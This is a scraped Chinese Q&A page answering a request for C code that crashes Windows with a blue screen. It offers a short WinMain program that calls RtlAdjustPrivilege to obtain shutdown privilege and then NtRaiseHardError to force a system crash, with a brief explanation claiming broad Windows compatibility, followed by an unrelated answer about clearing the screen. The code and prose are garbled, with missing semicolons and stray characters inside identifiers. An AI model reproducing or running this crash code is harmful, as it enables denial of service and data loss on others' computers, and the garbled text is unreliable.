给一段c语言让电脑蓝屏

给一段c语言让电脑蓝屏,第1张

你可以试一下这个

#include <Windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ipCmdLine, int nCmdShow){

 HMODULE ntdll = LoadLibrary("ntdll.dll")

 FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege")

 FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError")

 unsigned char ErrKill

 long unsigned int HDErr

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&缓好ErrKill)

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr)

}

原理:用远过程函数 RtlAdjustPrivilege 获取关机权限,然后远过程函数 NtRaiseHardError 制造蓝晌雀屏。(宴哪早这是一个兼容性很强的程序, x86 版的程序上至 Windows 10 ,下至 Windows NT 4 都可以蓝屏

有2种方法:1、文本:2、图形裤厅,但都是设置背景色,清屏。

如文本竖派:

#include <conio.h>

textbackground(int color)

clrscr()

图形自己去试做一胡纤隐下。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12515945.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-26
下一篇 2023-05-26

发表评论

登录后才能评论

评论列表(0条)

保存